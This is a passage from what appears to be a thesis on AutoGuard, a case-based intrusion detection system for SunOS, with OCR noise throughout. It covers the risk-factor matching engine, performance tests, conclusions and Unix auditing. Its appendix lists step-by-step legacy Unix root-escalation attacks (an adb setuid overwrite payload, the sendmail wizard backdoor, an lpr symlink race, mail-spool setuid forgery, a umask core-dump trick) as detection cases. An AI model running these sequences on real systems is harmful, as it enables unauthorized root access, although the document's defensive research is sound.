libraries for AutoGuard or to update and add new cases to existing case libraries. Currently, this module is implemented using a command-line interface.

5.5 C B R Engine
The remainder of this chapter describes the operation of the CBR engine. The CBR
engine is the heart of the intrusion detection system.
As mentioned earlier, the sequence of audit records are translated into a sequence of
action classes using the translator and then presented to C B R module which monitors
the N most recent actions contained in the active window of the system. C B R reasoner
brings all cases that match the window to its working memory and uses accumulated risk
factor to rank them. The recommended action will be determined on the basis of the
highest accumulated risk factor of the retrieved cases.
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Case retrieval strategy

Cases are indexed by Intrusion_seq field. For example the indices for the case MaiLC
in Figure 5.3 are (£x £2 £3 £4 £5), (£x £3 £2 £4 £5) and (£3 £x £2 £4 £5) (£'s index each
action).
Matching and retrieval in AutoGuard is a dynamic process. Unlike traditional casebased reasoning systems, where the proposed solution is on the basis of the full description of a problem, C B R module monitors the actions in the active window and retrieves
all the cases that match the window partially.
A matched case is one that has an intrusion sequence that starts with n, (n —
1,2, • • • M) most recent actions stored in the active window. With the arrival of a new
audit record, active window and working memory are refreshed (see Figure 4.23).

5.5.2 Case selection strategy
Working m e m o r y contains cases that partially match the window sequence. These cases
are ranked and the recommended action is based on the case with the highest rank.
In C B I D S ranking is based on the severity of the threat posed to the system which is
represented by the combined risk factor (CRF). C R F grows with increase in the degree
of the partial match. The simplest match is for one action and hence we need to define a
risk factor (RF) for each action in the system. W e use a combining operation to calculate
C R F using R F s of the matched actions.

Risk Factors

An RF for an action is a measure of potential threat to the system. Description of
action consists of an action class together with specific values for arguments and option
fields. Actions in a computer system can be grouped into the following categories.
1. actions that are explicitly forbidden by the security policy and are stopped by the
protection mechanism of the system.
2. actions that are explicitly forbidden but may pass through the protection mechanism.
3. actions that are not ruled out by the policy but have the potential of putting the
system in a* risky state.
4. actions that are permissible by the policy.
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A n intrusion scenario always has one of the elements of group 2 or 3.
Giving an actual value to the risk factor is subjective and depends on the study
of intrusion cases and the role of a specific action in gaining unauthorized access. To
alleviate the problem of attaching a risk factor to each action, a grouping of actions
according to the value of their arguments and option fields, is used. A numeric range to
each value which will be used for calculating C R F .
A n approach similar to that of certainty factor in M Y C I N [34] is used to attach RFs
to each action. A risk factor takes one of the following values:

{Very-Low, Low, Middle, High, Very-high}
Figure 4.14 shows the numeric range for risk factors. Very-high risk factors are
attached to the actions that are prohibited for normal users.
If the individual risk factors are mapped from [Very-Low,Very-High] to [0,1] then the
combined risk factor is TIT < 1. The terms Very-Low, Low, High and Very-High are
defined to be equal to 0.2, 0.4, 0.7 and 0.9 respectively.

Combined Risk Factor

To calculate CRF for a partially matched case, a combining operation is used which
is inspired by the Belief Functions in M Y C I N [34].
7lf\£xk£2} = 7l[£x] + 7l[£2] - 7l[£x}n[£2]

Case Selection

To each case in the working memory a CRF is attached that captures the degree of
partial match and severity of threat if the case succeeds. The case with the highest C R F
will be chosen and a preventive action will be recommended accordingly.
The following algorithm illustrates how the C B R module behaves once it receives an
audit record:
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begin
determine relevant cases in working memory for comparison;
Repeat for all relevant cases
determine the accumulated risk factor;
if case match above threshold
then execute the recommend action;
determine relevant cases not in working memory for comparison;
Repeat for all relevant cases
put case in working memory
determine the accumulated risk factor;
if case match above threshold
then execute the recommend action;
end
Figure 5.4 presents a sample of the output generated by C B R module of the AutoGuard. With this data, the system security officer (SSO) can foresee an impending
compromise and has enough information to take precautions to prevent future attacks of
the same nature. According to the accumulated risk factor, the C B R module has already
recommended the required action to SSO.
+

+

+

+

+

I Case Name

I Seq I Match I Ace-Risk I

+

+
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I
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Figure 5.4: Sample output from CBR module

5.5.3

Action Module

The action module is responsible for informing the SSO about the results of the C B R
engine activities. The output of the action module could be one or more of the following
actions, which are ranked according to the risk involved.
• Continue to monitor the user activities.

5.6. User Interaction

118

• Inform the S S O that a breach of security is encountered.

• Raise the warning level on the system and if possible raise the monitoring level

• Suggest possible actions to the SSO to preempt a security violation that can lea
to a compromised system.
• play an active role in preempting the attack.

At present, the action module in this version of AutoGuard prototype does not perf
the last action.
To recommend an appropriate action, the system follows the following algorithm:

begin
if Low < combined risk factor < High
then execute monitor, ...;
else if combined risk factor < Very-High
then execute monitor, record, raise warning level;
else if combined risk factor > Very-High
then execute record, preempt;
end.

Each matched case is kept in the working memory till it calculates an accumulated
risk factor above a predefined threshold. After recommending the appropriate action to
the SSO, the C B R engine removes the case from the working memory and updates the
working memory.

5.6 User Interaction

In the current version of AutoGuard prototype, user interaction only occurs at on
user as case-base manager. The user interacts with the system to update the cases in
the case-base, add new cases or build a new case-base. Figure 5.5 illustrates AutoGuard
interface. It shows the general information flow between the SSO and AutoGuard. The
dotted line in thisfigurerepresents the currently unsupported feature.
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Figure 5.5: User interaction in AutoGuard

5.7 AutoGuard as Part of a Hybrid System

As noted previously, AutoGuard is designed to detect the same computer penetratio
targeted by currently existing rule-based misuse detection tools. Like current rule-based
systems, AutoGuard is effective in detecting abuse from misfeasors as well as external attackers. Unfortunately, AutoGuard is also equally ineffective in detecting masqueraders.
Therefore, when incorporated into an intrusion detection system, AutoGuard is expected
to work in combination with another intrusion defection tool that specializes in detecting
masqueraders (e.g., a profile-based anomaly detector). Collectively, the two tools will
complement each other's coverage, providing the ability to detect both masqueraders and
misfeasors.
Figure 5.6 is a flow diagram illustrating the intended use of AutoGuard as a component of a larger intrusion detection system. The flow of information begins at the top
of the figure, where audit records enter the intrusion detection system, and concludes at
the User Interface, where the data is organized and presented to the System Security
Officer (SSO). Thefirststep in all intrusion detection systems is the collection of audit
data. The Audit Collection Mechanism is usually provided as a component of the system
being analyzed. The audit collection mechanism passes the audit records to both the
Audit Data Archiver/Retriever, for permanent storage, and to the Audit Translator. The
audit data archiver/retriever is often a custom D B M S used to store and retrieve audit
data, and is responsible for the organization of all audit data on the system.
The audit record translator refers to one or more individual preprocessors used by
each intrusion detection component to isolate and format certain audit record information
prior to its input into the component. In Figure 5.6, the audit record translator box
represents two individual preprocessors: one for the Profile-Based Anomaly Detector
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Figure 5.6: Organization of intrusion detection components

and one for AutoGuard. Note that Figure 5.6 illustrates the architecture of a real-time
intrusion detection system. That is, audit records are input to the preprocessor directly
from the audit collection mechanism. In batch m o d e analysis (off-line), the records would
instead be input from the audit data archive.
F r o m the audit record translator, the formatted records are passed to the individual
intrusion detection components. Figure 5.6 illustrates an intrusion detection system
that utilizes both AutoGuard and a Profile-Based Anomaly Detector. Each component
independently analyzes the audit records in search of the compromises for which it
specializes in detecting, and their findings are collectively passed to the user interface.
T h e findings of both AutoGuard and the Profile-Based A n o m a l y Detector are presented to the System Security Officer via the user interface. T h e user interface is important
to the overall effectiveness of the intrusion detection system in that it is the sole platform
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for communication between the intrusion detection system and the security officer. The
information must be presented clearly and concisely, for it must be relied upon during
security-critical moments. The user interface is used by the security officers to interpret
thefindingsof the intrusion detection components, to submit queries to the components
and to set configurable variables within the intrusion detection components. The AutoGuard design described in this chapter currently does not support query capability. The
user interface m a y also provide the SSO access to raw audit records via the audit data
archiver/retriever directly. AutoGuard currently does not support direct access to audit
record archives through the user interface.
Overall, the components presented in Figure 5.6 that make up the intrusion detection system are the Audit Record Translator, the Profile-Based Anomaly Detector,
AutoGuard and the User Interface. One should not confuse the user interface discussed
here with user interfaces that are often provided by target systems as part of their audit
facilities. The user interface discussed here is a custom software module, specifically
designed for and distributed with the intrusion detection system. The audit collection
mechanism, audit data archiver/retriever and archival storage unit are components that
are provided by the target system.

5.8 Performance

In this section we test AutoGuard's performance while it is run with other process
coexisting on the system. Usually to measure the intrusion detection system's performance, the auditing process, the audit daemon is always active. But since we did not have
root access to the target system, we were unable to turn on the auditing daemon on the
system. The test carried out with a previously archived audit data.
The experiments described below were done on a Sun E L C Workstation with 2 4 M B
of memory running SunOS 4.1.3 under light load. The auditfilewas generated separately
by enabling auditing and simulating exploitations and intrusions manually. Auditing was
enabled with the default configuration, which logs all successful as well as failed events.
The running times mentioned below include the time for the program to load and begin
execution, reading of the translated audit data and matching the cases.
The following graphs show performancefigureswhen the intrusion scenarios have
been simulated in the system.
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Timing Results

Figure 5.7 shows how much time the system requires to match each case (five cases
been simulated) against an auditfileof approximate size of 34KB 2 . Each sample point
in this Figure is the mean value of 50 runs. The circle at the end of each vertical bar
serves to highlight the end of the bar. This is the value of the point being plotted. The
little horizontal lines on either side of this point represent the standard deviation of the
value over 50 runs.

Figure 5.7: Time for matching each case for a 3 4 K B auditfile.1-Link, 2-Debug, 3-Mail,
4-Mask and 5-Print cases
The auditfilecontained 213 events. The sample point (0, 0.5) in thefigurerepresents
that the application took 0.5 seconds to load and go through the auditfileand exit (no
case matching at this point). The mean time for an audit trail event is then 0.5/213 = 2.3
milliseconds. This is thefixedcost per event for the system. The point (1,0.523) means
that the case numbered one (Link case) took 0.523 seconds when exercised by the 213
events.
Figure 5.8 shows the simulation time when allfiveintrusions were simulated simultaneously in the same auditfile.The event stream was the same as in the previous
simulation. The fixed overhead cost of reading the auditfileis the same as above, the
varying cost that takes the multiplicity of cases into account is:
(0.51-0.5)
n .
variable cost/event/case =
— — - = 9.4^s

It also shows the time when two copies of the programs were running simultaneously
2

K B in this section means 1024 Bytes.
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Figure 5.8: Time for matching (a) multiple cases and (b) multiple copies of program

Consider the extrapolation of these results to estimate the performance of the sy
in a real setting. W h e n running a set of programs in a real sequence that saturated the
C P U , the Sun auditing subsystem generated about 0.6MB every 5 minutes on a singleuser workstation. This extrapolates to 7.2MB per hour, or 213 x 7.2/0.034 ~ 45K events
per hour. Consider that there are 20 cases in the case-based reasoner. Then, for one
hour of intensive C P U activity, the detector might require the following time to process
the generated audit data:

Fixed overhead
==
Variable overhead ==
Total T i m e
==

=
0.55/213 x 45000
9.4/xs x 20 x 45000 ==
=
105.6 + 8.46

105.6s
8.46s
114.09s

Table 5.3: Extrapolating the timing results to match 20 cases

Therefore, for every hour of intensive activity, the detector requires about ~ 114s to
match 20 cases. This fraction is 114/3600 x 100 = 3.17% ~ 3 % of hourly activity. These
results correspond to an unoptimized version of the system.

Analysis
To derive an approximate but useful comparison with other systems consider how the
following characteristics of other systems affect these results:
• A Uniformly Faster System. If these experiments were run on a system that computed uniformly faster (i.e., for every mix of jobs) then the number of events being
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generated per unit time will increase proportionally. However, we would expect to
process each event to decrease by approximately the same proportion. Therefore,
with infinite disk logging capacity we would ideally expect the same performance.
• Faster Disk Logging. Assume that the amount of audit trail being generated was
limited by the disk logging capacity of the system and not by the C P U . Then, on
a machine with the same C P U speed but better disk logging the number of audit
events logged per unit time will increase because the C P U will not be suspended from application until the audit subsystem has written audit record to disk.
However, the rate at which the trail is processed will remain the same. Therefore,
the system will experience a greater performance degradation in this case.
For our experiments this is not a factor since 1.2MB every 10 minutes is ~ 2KB/s.
However, this effect can be taken into consideration in cases where it is true.

5.8.2 An AutoGuard Session
Consider thefirstattack scenario in Figure 4.10. In the case-base, this case is called
Mail_C. To detect the scenario represented in thisfigurethe C B R engine should receive
a trail of the following audit records:

4i gl54 s 0 NULL Res_Write File_Set4 838288032
62 gl54 s 5 4755 File_Set4 NULL 838288046
6 3 gl54 s 1 NULL filel NULL 838288064
64 gl54 s 6 NULL root file2 838288096
65 gl54 s 9 NULL File_Set4 838288113

The first audit record (4*i) means that user gl54 has successfully copied a file
Restricted Write File Set into a directory which is recorded in the File Set #4.
After receiving this audit record, the C B R engine matches it with a case in the case
memory and reports the following:
+

| Case Name

+

+

+

+

I Seq I Match I Ace-Risk I

+

+

I Mail.C

1 1 1

+

+—

+

+

1
+

and it shows the following on the report screen:

I
+

+

0.7

I
+
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+

+

I
+

Actions taken

|
+

I

Continuing to monitor

|

I

Informed the admin

I
+

+

which means it has recorded what it has found, to be a security breach, to the SSO.
The second audit record (^2) means that user gl54 has successfully changed the
access m o d e to thefilein the directory which is in File Set #4 (the one he copied
before). U p o n receiving this audit record, the C B R engine matches it with the Mail_C
case which is already in the working memory and reports:

I Case Name I Seq I Match I Ace-Risk I
+

+

I Mail.C

1 1 1

+

+

+

+

2 |
+

+

0.91

+

I
+

and it shows the following on the report screen:
+

|

+

Actions taken

+

I
+

I

Continuing to monitor

I

I

Informed the admin

I

|

Disconnect the user

I

+

+

The last line in the action box is due to the accumulated risk factor going above the
threshold which is set for the system. This threshold is adjustable and can be changed
by the system security officer. It also searches the case-base for other cases that match
this audit record.
Upon recommending to disconnect the user, the system continues monitoring the
user for further actions. It then removes the case already taken care of from the working
memory and updates the working memory.

5.9. Summary
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Summary

This chapter described the implementation of AutoGuard, a case-based reasoning syst e m for intrusion detection. T h e case-based reasoning system for intrusion detection is
different from those developed for other domains such as design, planning and diagnosis.
This is due to the fact that C B I D S has to work on a real-time basis. T h e implementation
of a case-based intrusion detection system requires solutions to several representation
issues: identifying the contents, representation, organization and defining procedures for
case retrieval and case selection.
T h e case-based intrusion detection system accepts the input as high level class representation of c o m m a n d s . T o provide this input a translator module is used to convert
the low level audit records, produced by the computer system, into high level class representation.
T h e retrieval and selection a m o n g cases entail the recognition of the relevance of each
case to a n e w intrusion problem and how close a case is to providing a solution to the
n e w intrusion problem. W e have illustrated a risk-factor based approach to measuring
the similarity between a given situation and a previous case. T h e concept of 'partial
matching' is identified as critical to our application.

Chapter 6
Conclusions and Future Prospects

T h e aim of this chapter is to present a s u m m a r y that embodies the scope and contributions of the thesis, and some suggestions for future investigations and developments.
Firstly, the issues dealt with and the results obtained are summarized. Secondly, the
achievements and contributions of the work presented in this thesis are summarized in
the light of the aims and objectives which were laid out in thefirstchapter. Thirdly, a
discussion on prospects for future research work is presented. This chapter concludes
with s o m efinalthoughts.

6.1 Summary of Issues and Results
Intrusion detection is an important component of the security controls and mechanisms
provided in a system. It usually forms the last line of defense against security threats.
These mechanisms are intended to detect breaches of security policy which can not be
easily detected using other methods. Intrusion detection is usually based on one of two
models: the anomaly and the misuse models. Both models m a k e assumptions about the
nature of intrusive activities that can be detected.
However, in most of the intrusion detection systems, both models fail to consider
and handle the uncertainty in the audited data. This uncertainty usually manifests itself
in the form of false positives and false negatives in the system. This thesis proposed
three n e w approaches to representation and classification of intrusions based on their
manifestations in system events and illustrated the application of statistical and casebased reasoning methods to deal with the uncertainty involved in the process of their
representation and detection.
Chapter 2 surveyed several methods and systems for intrusion detection. It also included Denning's general model of intrusion detection. In Chapter 3 two n e w approaches
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to modeling intrusions on the system were proposed and described. T w o different statistical methods capable of dealing with uncertainty, namely Bayesian and Evidential Reasoning, were discussed and their application in intrusion detection was demonstrated. A n
intrusion detection system was proposed which is able to work with any of these two
methods to model and detect intrusions on the network. Probabilistic and Evidential
Reasoning allow the system to detect abnormality in the user behavior more effectively. They provide a natural representation of approximate and uncertain information.
Evidential Reasoning also provides a formal basis for the key operations of fusion and
translation needed to integrate multiple sources of information. The effectiveness of the
models was illustrated through examples. Advantages and disadvantages of each model
was also discussed in Chapter 3.
Chapter 4 included an overview of case-based reasoning. Issues such as memory
learning, planning, design, diagnosis and problem solving can be addressed by casebased reasoning. It also provides a foundation for a new technology of intelligent systems
that can solve new problems using past experience and interpret new situations. Several
case-based reasoning systems were reviewed as well. Chapter 4 also proposed a new
model for intrusion detection based on case-based reasoning approach. It illustrated
that case-based reasoning provides a useful approach for organizing knowledge about
past intrusions into computer systems and facilitates mechanisms for retrieving and
using relevant past cases to solve and reason about new situations. A new schema for
representation and organization of cases was also proposed and described in Chapter 4.
This thesis also described the implementation of AutoGuard, a case-based intrusion
detection system, in Chapter 5. Development issues and case-based processes were discussed in this chapter. AutoGuard is different from other case-based reasoners developed
for domains such as design, planning and diagnosis. This is due to the fact that it has
to work on a real-time basis. The implementation of AutoGuard required solutions to
several representation issues: identifying the contents, representation, organization and
defining procedures for case retrieval and case selection.
AutoGuard accepts the input as high level class representation of commands. To
provide this input a translator module is used to convert the low level audit records,
produced by the target system, into high level class representation.
The retrieval and selection among cases entail the recognition of the relevance of
each case to a new intrusion and how close a case is to providing a solution to the new
intrusion problem. A risk-factor based approach was used to measure the similarity
between a given situation and a previous case. The concept of 'partial matching' was
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identified as critical to this application.
The closest intrusion detection system, reported in literature, to AutoGuard is U S T A T
[94, 93]. Both systems are implemented for Unix operating system and use the output
of C 2 B S M audit module. In both cases a high level representation of intrusion scenarios is used to alleviate dependency of the system on the actual commands recorded
in the audit trail. AutoGuard uses some of the concepts developed in U S T A T . In particular, classification offilesets closely follows U S T A T design. Both systems have the
capability of preemptive actions. In AutoGuard this is achieved by calculating risk
factors and updating them with newly received audit records. Updating of risk factors is
presently achieved by using an approach similar to one used by M Y C I N expert system
for combining uncertainty factors. U S T A T uses a deterministic approach in determining
preemptive actions which is based on preemptive state transitions.
The main advantages of AutoGuard in comparison to U S T A T , and in fact to rulebased systems in general, are the ease of knowledge acquisition and learning. In U S T A T ,
careful analysis of each intrusion scenario and constructing a state transition graph is the
pre-requisite of writing rules that define an intrusion. To capture an intrusion scenario,
as a case in AutoGuard, we only need to rewrite the actual scenario in terms of action
classes and determine all variations of the intrusion sequence that results in the same
breach of security. The same process must be followed for learning new knowledge (new
scenarios) or modifying the existing knowledge.

6.2 Fulfillment of Aims and Objectives

In Chapter 1 the aims and objectives of this research were outlined as the develo
of new approaches to intrusion detection. The research has been carried out with the
following primary goal:
"improving the performance of conventional intrusion detection systems by
dealing with uncertainty in the system."
This goal has been achieved by developing new representation schemes for intrusion
scenarios using three different approaches: Probabilistic Reasoning, Evidential Reasoning and Case-Based reasoning methods.
The major contributions of this thesis can be summarized as follows:
1. Applying Probabilistic and Evidential Reasoning to intrusion detection.
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2. Developing new representation schemes for intrusion scenarios using these statistical methods.
3. Applying Case-Based Reasoning to intrusion detection.
4. Developing new representation schema for intrusion scenarios using case-based
reasoning approach.
5. Implementation of a case-based intrusion detection system called AutoGuard.
Most of the above mentioned aspects have been accomplished through the use of
recent advancements in computer technology. In the following section some possible
future developments in the case-based intrusion detection are discussed.

6.3 Future Directions

Currently AutoGuard is implemented as a stand-alone system based on case-based re
oning. O n e possible extension to this work is to integrate different types of knowledge
and reasoning methods within the same framework. This will enable the AutoGuard system to handle real-world intrusion problems more efficiently. Such a hybrid case-based
reasoning model will use specific cases in conjunction with some generalized or compiled
knowledge which can be represented using rules and fuzzy logic. In such situations,
specific knowledge (cases) and compiled knowledge (rules) are used in a complementary
fashion during the intrusion detection process. Examples of compiled or generalized
knowledge include network security policy requirements, heuristics and other domain
knowledge about computer hardware and software. The future work should focus on
identifying the roles of these individual knowledge modules and developing strategies for
hybrid reasoning in intrusion detection.
Future work could also include a look at other methods of uncertainty handling, such
as fuzzy logic, for updating the combined risk factor in the system. Part of the future
work will be the implementation of the G U I for the system security officer and also the
automation of system actions against intruders.
Another research issue will be learning and generalization. As discussed previously,
self-learning is an important feature for a C B R system. As cases accumulate, a group of
related cases can be used to define prototypical cases that embody the major features of
those individual cases. Storing prototypical cases along with the specific cases will help
improve the efficiency of the system and reduce the size of case memory.

6.4. Final Thoughts
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Final Thoughts

Throughout the development of this thesis a variety of issues and problems arose
were at times challenging, occasionally frustrating, but always interesting. Some of the
problems encountered were dispatched quickly, while others required days and months
of study. Unavoidably, not every design issue has been addressed in this thesis, let
alone resolved. Had this not been the case, it is doubtful that the development of this
thesis would have been as interesting a project as it was. Rather than viewing the
AutoGuard functional description presented in this thesis as afinishedproduct, the
author would rather have the functional description viewed as merely a snapshot of one
stage within a development process. In retrospect, there are several areas within the
functional description that could be notably improved, some of which were outlined
earlier in this chapter.
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Appendix A
Auditing in U N I X System

Auditing Facility in U N I X provides the basic data for intrusion detection through the
audit record. In the following sections we present a brief review of the auditing facility
in S u n O S 4.1.3.

A.l Auditing Facility

The main goal of an auditing facility is to record information about actions tha
affect the security of a computer system. In particular, an auditing facility should be able
to record any action by any user that may represent a breach of system security. For
each action, the auditing facility should record enough information about those actions
for verification of
• the user who performed the action;
• the exact day and time it was performed;
• the success or failure of the action; and

• the name, type, device, inode and the file system identification of any data ob
involved.

The presence of auditing may also deter attempted security breaches which can all
one to take action to contain the problem. Even if the security breach is not detected
as it occurs audit trail can be used to determine the extent of security problem and to
recover from it.
In most cases, security breaches are detected by patterns of usage, not by a single
action. A single failed login on a terminal, for example, may indicate that a user had
trouble typing in a password properly. Several failed login on a terminal, on the other
hand, m a y indicate that a malicious user is trying to guess a password. To detect such
patterns, we often need to record many events that are a normal part of daily activity
on the system.
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Figure A.l: Audit Event Mask (the bad_lvl, chg_nm, and con_chan_l are examples of
enhanced security events which are only recorded on systems with Enhanced Security
Release).

H o w Auditing Works
The auditing subsystem is an event based system in which data is recorded whenever an
audited event occurs.
Definition A.l An event represents a single action that may affect the security
system.

Events are triggered by either system calls or user level commands. For auditable
events trigerred by system calls, the kernel writes the audit data in the format of an audit
record. For auditable events trigerred by user level commands, the command invokes
the audit system call auditdmpQ to record the audit record.
The system administrator selects which events are to be audited. The selected events
are recorded and maintained in data structures referred to as event masks. The following
parts explain the use of event masks and the kernel processing required to determine when
an audit record is generated.

Audit Event Masks
The auditing subsystem uses event masks to determine which events are currently being
audited. Event masks are data structures that contain 32 eight-bit bytes. There is a bit
for each possible event on the system; if the bit is set (that is, has a value of 1), the event
is audited. Figure A.l [195] is a conceptual illustration of an event mask structure.
The auditing subsystem uses several different event masks to determine when to
generate an audit record for an event. The auditing subsystem maintains the following
event masks:
• a system wide event mask;
• a user event mask for each active user;
• a process event mask for each process.

The system event contains the set of events that are audited for every process on
system

The system event mask is stored in the global kernel space. Note that kernel

processes marked as S Y S T E M , R E S I D E N T or Z O M B I E are exempt from auditing. In
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addition, there are trusted user level processes that bypass the event mask mechanisms.
For example, the user level command auditmap through its invocation of the audit system
call auditevt() marks itself exempt from auditing.
A user event mask contains the set of events that are audited for a specific user.
During the login procedure, the user mask associated with the user is extracted from the
/etc/security/ia/masterfileand is stored in the useremaskfieldof the audit process
structure. The audit subsystem creates and maintains an audit process structure for each
process (with the exception of S Y S T E M , R E S I D E N T or Z O M B I E processes). Changes
to the user's event mask m a y be made statically or dynamically. To change the user event
mask statically, the data in /etc/security/ia/audit and /etc/security/ia/master
files are updated. The modification to the user event mask will only take effect for future
login sessions. To change the user event mask dynamically, the useremaskfieldin the
audit process structure is updated. Dynamic changes are reflected in the current login
session, however they are lost when the current session ends.
A process event mask contains the set of events audited for all non-exempt processes.
The process event mask is the union of the system event and user event mask. The
process event mask is stored in the procemaskfieldof the audit process structure and
is used to determine if an event is being audited. The process event mask is updated
every time the user event mask or the system event mask is modified.
The object level event mask refers to both an object event mask and a set of security
levels. Object level auditing can be used only on systems that have the Enhanced
Security Utilities installed. The object event mask contains the set of events audited
for all objects (for example,file,IPC's) and is stored in global kernel space. The set of
security levels consist of one inclusive level range and/or individual levels. The tunable
parameter ADTJJLVLS in thefile/etc/master.d/audit defines the m a x i m u m number
of individual levels that m a y be audited. The level range and individual levels are also
stored in global kernel space. The object level event mask defines the set of events that
are audited for every object on the system whose security level matches a security level
that is being audited.

A.2 Audit Record Structure

The audit subsystem continuously audits and saves the data into the Audit Event L
File. The type, location name and the size of the logfileis configurable.
The audit.log file begins with a header record consisting of an auditJieader structure
followed by the previous auditfilename. W h e n the audit daemon is started (usually
only at boot time), the previous auditfilename is N U L L .
struct audit.header {
int ah.magic; /* magic number */
time.t

ah.time;

/* the time */

short

ah.namelen;

/* length of file name */
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};
typedef struct audit.header audit_header_t;
The file may end with a trailer record consisting of an audit_trailer structure
followed by the n a m e of the next audit file.
struct audit.trailer {
short

at_record_size;

/* size of this */

short

at_record_type;

/* its type, a trailer */

time.t

at _time;

/* the time */

short

at_namelen;

/* length of file name */

};
typedef struct audit_trailer audit_trailer_t;

The audit.log file contains audit records in their raw form. The records are of v
size depending on the record type. Each record has a header which is an audit_record
structure.
struct audit_record {
au_record_size;
short

/* size of this */

short

au_record_event;

/* the event */

short

au_record_type;

/* its type */

time_t

au_time;

/* the time */

short

au_uid;

/* real uid */

short

au_auid;

/* audit uid */

short

au_euid;

/* effective */

short

au.gid;

/* real group */

short

au_pid;

/* effective */

int

au_errno;

/* error code */

int

au.return;

/* a return value */

blabel.t

au_label;

/* also ... */

short

au_param_count;

/* # of parameters */

};
typedef struct audit.record audit_record_t;

Immediately following the header is a set of two byte integers, the number of wh
exist for a given record is contained in the au_param_countfield.These numbers are the
lengths of the additional data items. The additional data items follow the list of lengths,
thefirstlength describing thefirstdata item. Interpretation of this data is left to the
program accessing it.

Appendix B
Attack Scenarios

Case 1 [29]:

Description: This attack illustrates how the debugger adb(l) can be used to overwrite
the contents of a setuid program during its execution. The actual setuid programfileis
not modified, just the copy that is loaded into memory.

CASE:

debug

EXAMPLE-SCENARIO
example:
" cp /bin/csh x
adb -w /etc/rrestore "

INTRUSION-SEQ
seqnce: £\ £2

DESCRIPTION
£x

duplicate:
origin: in Restricted.Write File
destin: ?filel
debug:
option: -w
subject: in RestrictecLWrite File

£2

The following example uses adb to overwrite a root setuid program and gain root
privileges:
1. user0/, cp /bin/csh x
2. user0/, adb -w /etc/rrestore
3. :s
:s
"/etc/rrestore:

running"
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4. 0?W

8fdd00001bodefdd2fb0000oefobc0000001900780b00

5. *Z or *\!'
6. root%

Step 1 The attacker copies the shell into a file named "x", in his current direct
is the shell that the attacker will trick adb into running.

Step 2 The attacker calls adb using "-w" option. The "-w" option allows the caller
write into the text space of the executing program. In this example, the attacker
chooses the root owned setuid program "/etc/rrestore".

Step 3 The attacker single steps through the first couple lines of /etc/rrestore t
sure that the program has in fact started executing. After a few steps, adb will
return the message "/etc/rrestore: running".

Step 4 The attacker overwrites the text space of the process with nine long words.
nine words are a hardware dependent program that performs exec("x"). Recall in
step 1, "x" contains a copy of the shell. Although "x" is not a setuid program,
since it was called with root's effective UID, so too will "x" have the effective UID
of root.

Step 5 The attacker either suspends adb or asks for a shell. As a result, the atta
given a shell with the effective ID of root.

Case 2 [30]:
Description: In this scenario the attacker exploits the wizard feature of Sendmail(8)
to gain access to a shell running with root privileges.
1. userOsource'/.telnet target 25

-attach to target host

2. sendmail is ready:

-target prompts attacker

3. wiz

-ask for wizard right

4. Please pass, oh mighty wizard

-sendmail acknowledges

5. shell

-ask for shell

6. root@target'/,

-sendmail returns a shell
running with root privileges.
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Case 3 [32]:
Description: This scenario illustrates how an attacker may gain read access to any
printable file o n a host. This is done by having the printer d a e m o n perform an access
check o n a file that is readable to the attacker, then substituting this file with another
file which is not readable to the attacker.

CASE:

print

EXAMPLE-SCENARIO
example:
"touch X
lpr -s x
rm x
ln -s secretf ile x"

INTRUSION-SEQ
seqnce: £x £2 S3 £4

DESCRIPTION
£1 file-creation:
subjct:
£2 print:
option:
subjct:
£3 remove:
argmnt:

?filel
-s
?filel
?filel

£4 link:
option: -s
subjct: ?nlel
destin: ?file2

1. user'/.touch x

-create any file

2. user'/.lpr -s x -have the spooler create a symbolic link to x
3. user'/,rm x
4. user'/,ln -s secretf ile x -create a link to the secret file you really
want to print.
Before performing step 2 the attacker makes sure there are jobs waiting in the print
queue. This is to m a k e sure there is time to perform steps 3 and 4 before x is printed.
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Case 4 [31]:
Description:
1. user'/.ln <file> -x

-where <file> £ File Set 2 and
x = any character string

2. user*/,-x

-file -x is executed.

3. root'/,

CASE:

link

EXAMPLE-SCENARIO
example:
" ln filel -file2
-file2 "

INTRUSION-SEQ
seqnce: £\ £2

DESCRIPTION
£1 link:
subjct: ?filel
destin: ?-file2
£2 execute:
subjct: ?-file2

Step 1 The attacker creates a link to another user's setuid script containing #!/bin/sh
or #! /bin/csh mechanism. Such scripts cause subshells to be created during the
script's execution. The attacker must set a '-' as thefirstcharacter in the link file
name.

Step 2 The attacker executes '-x'. Since the first character in this file name is
gram is invoked interactively. Since <file> contains a #!/bin/sh or #!/bin/csh
mechanism, the attacker will immediately receive a shell running with the file
owner's privileges. If the file owner is root, then the attacker m a y edit the system's logfileand accountingfilesto remove any traces of the shell being run.
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Case 5 [28]:
Description: This example illustrates a flaw within mail(l) utility which allows an
attacker to gain access to a shell with root privilege. However, the real compromise is
that of thefileforgery (or access permission forgery).

CASE:

mail

EXAMPLE-SCENARIO
example:
" cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch X
mail root < X
/usr/ spool/ mail/root"

INTRUSION-SEQ
seqnce: £\ £2 Sz £\ £5,
£\ £3 £2 £4 £5,
£3 £\ £1 £4 £5

DESCRIPTION
£\

duplicate:
origin: in Restricted_Write File
destin: in File_Set # 4 (?filel)
£2 access-control:
option: 4755
argmnt: in FileJSet # 4 (?filel)
£3 file-creation:
subjct: ?file2
£4

£5

mail:
recver: root
subjct: ?file2
execute:
subjct: in FileJSet # 4 (?filel)

1. user'/.cp /bin/csh /usr/spool/mail/root

-assume root has no
mail waiting

2. user'/.chmod 4855 /usr/spool/mail/root

-make setuid file

3. user'/.touch x

-create empty file

4. user'/.mail root < x

-mail root empty file

5. user^usr/spool/mail/root
6. root0/,
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The security flaw arises when, in step 4, mail(l) fails to reset the setuid bit of
/usr/spool/mail/root after it sets thefile'sUID to root and appends 'x' to it. Therefore, the attacker need only to execute root's mailfileto gain the access to a shell with
root privileges. (Note, the header for x will be taken as part of the symbol table of csh
or sh.)

Case 6 [28]:
Description: An attacker can compromise someone seriously if (s)he finds a file
anyone can modify, and that is owned by the prospective victim. In earlier version of
U N I X , an attacker could obtain a writable root-ownedfileby typing the following:
1. umask 0
2. passwd
3. " <quit>
The umask command (see sh(l)) specifies that any files created are to be created
that anyone can read or write them. Any command which runs setuid to root may be
used in place of passwd(l); after any such program is sent the QUIT signal (by typing
ctrl-quit), it terminates and produces a core d u m p in afilenamed "core" (such a file
is useful for debugging purposes). As the effective UID of the process which produced
the core d u m p was root, thefile"core" is owned by root. This file is readable, and
writable, by anyone due to the setting of the umask command. The attacker then deletes
the contents of "core" and inserts whatever (s)he likes.

CASE:

mask

EXAMPLE-SCENARIO
example:
" umask 0
passwd
Ctrl-<quit>"

INTRUSION-SEQ
